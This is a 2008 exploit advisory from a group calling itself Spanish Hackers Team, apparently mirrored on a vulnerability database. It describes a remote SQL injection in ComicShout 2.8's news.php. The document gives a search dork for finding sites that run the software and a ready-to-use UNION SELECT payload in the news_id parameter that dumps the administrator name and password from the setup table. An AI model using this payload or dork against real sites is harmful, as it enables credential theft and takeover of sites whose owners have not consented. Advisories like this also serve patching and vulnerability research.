ComicShout 2.8 (news.php news_id) SQL Injection Vulnerability

🗓️ 02 Jun 2008 00:00:00Reported by RootType

ComicShout 2.8 news.php news_id SQL Injection Vulnerability by Spanish Hackers Tea


                                                --==+===================&nbsp;Spanish&nbsp;Hackers&nbsp;Team&nbsp;(www.spanish-hackers.com)&nbsp;=================+==--
--==+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;ComicShout&nbsp;2.8&nbsp;(news.php&nbsp;news_id)&nbsp;Remote&nbsp;SQL&nbsp;Injection&nbsp;Vulnerability&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;+==--
--==+====================================================================================+==--
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;-&nbsp;dreaming&nbsp;of&nbsp;necessity&nbsp;is&nbsp;reason&nbsp;to&nbsp;comply&nbsp;-

[+]&nbsp;Info:

[~]&nbsp;Bug&nbsp;found&nbsp;by&nbsp;JosS
[~]&nbsp;sys-project[at]hotmail.com
[~]&nbsp;http://www.spanish-hackers.com
[~]&nbsp;EspSeC&nbsp;&amp;&nbsp;Hack0wn!.


[~]&nbsp;Software:&nbsp;ComicShout&nbsp;2.8
[~]&nbsp;Exploit:&nbsp;Remote&nbsp;SQL&nbsp;Injection&nbsp;[High]
[~]&nbsp;Vuln&nbsp;file:&nbsp;news.php

[~]&nbsp;Dork:&nbsp;&quot;Powered&nbsp;by&nbsp;ComicShout&quot;

[+]&nbsp;Exploit:

[~]&nbsp;/news.php?news_id=[SQL]
[~]&nbsp;4+union+all+select+0,1,site_admin,site_pass+from+setup/*

--==+===================&nbsp;Spanish&nbsp;Hackers&nbsp;Team&nbsp;(www.spanish-hackers.com)&nbsp;=================+==--
--==+&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;JosS&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;+==--
--==+====================================================================================+==--
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;[+]&nbsp;[The&nbsp;End]

02 Jun 2008 00:00Current

7.1High risk

Vulners AI Score7.1